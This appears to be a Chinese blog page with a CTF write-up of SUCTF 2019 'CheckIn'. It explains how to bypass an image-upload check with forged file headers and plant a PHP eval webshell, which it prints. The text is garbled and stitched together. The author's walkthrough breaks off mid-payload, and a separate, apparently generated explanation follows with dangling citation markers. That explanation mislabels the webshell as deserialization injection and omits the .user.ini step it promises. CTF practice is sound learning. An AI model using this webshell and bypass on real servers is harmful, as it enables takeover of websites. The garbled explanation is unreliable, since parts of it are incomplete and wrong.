SUctf checkIn

这篇博客讲述了如何利用.user.ini文件在PHP环境中构造后门。通过分析PHP的配置模式,特别是PHP_INI_PERDIR和PHP_INI_USER,作者展示了如何在限制上传的环境中通过添加文件头绕过检查,并利用auto_append_file和auto_prepend_file配置在执行index.php前插入恶意代码,最终获取flag。
看了道上传的关于.user.ini的题目,这里试着做一下

题目地址
buuctf checkln
打开题目,出现了简单的上传框

试着上传php文件

更改名称为phps,php3,php4,php5,Php,pphphp,都上传失败.

试试改为jpg
在这里插入图片描
发现它对<?内容进行了检验。
我们可以构造这种形式的木马

<script language="php">
	@eval($_POST['a
### SUCTF 2019 CheckIn 题目解析 #### 背景介绍 SUCTF 2019 的 `CheckIn` 是一道 Web 安全题目,主要考察参赛者对于文件上传漏洞的理解以及如何绕过后端的安全检测机制。 #### 文件上传安全检测 在该题目中,服务器使用了 `exif_imagetype()` 函数来验证上传文件是否为合法的图片格式。此函数通过读取文件头部信息中的特定签名来识别图像类型[^3]。然而,这种基于文件头的简单校验方式存在被攻击者利用的可能性。 #### 绕过方法 为了成功提交恶意脚本而不触发上述防护措施,可以采用如下策略: - **修改文件头**:在实际要执行的有效载荷之前附加一段符合目标图片格式标准的数据流。例如,在PHP代码前加入代表JPEG、GIF或PNG格式的魔数(Magic Number),使得即使内容并非真正的图形数据也能顺利通过检验。 具体操作可以在十六进制编辑工具如010Editor里完成,向待上传文件起始处写入相应类型的特征码: - 对于JPG文件应添加 `FF D8 FF E0 00 10 4A 46 49 46` - GIF则需插入字符串 `"GIF89a"` - PNG对应的是序列 `89 50 4E 47` 这样处理后的文件既满足表象上的合法性又暗藏可被执行的指令片段[^2]。 #### 实现过程 创建一个特制的小型Webshell作为测试样本,这里选用了一种常见的单行反序列化命令注入形式,并伪装成GIF图档的形式发送给远程主机。注意去除敏感字符以免引起不必要的过滤拦截。 ```php <?php @eval($_POST['messi']);?> ``` 将其转换为适合传输的状态——即前面提到过的带有虚假图片标识的部分,最终形成完整的payload之后再实施递交动作。一旦部署完毕即可借助客户端发起请求激活隐藏功能获取进一步控制权或者直接读取指定路径下的敏感资料比如 `/flag` 来完成挑战任务[^1]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值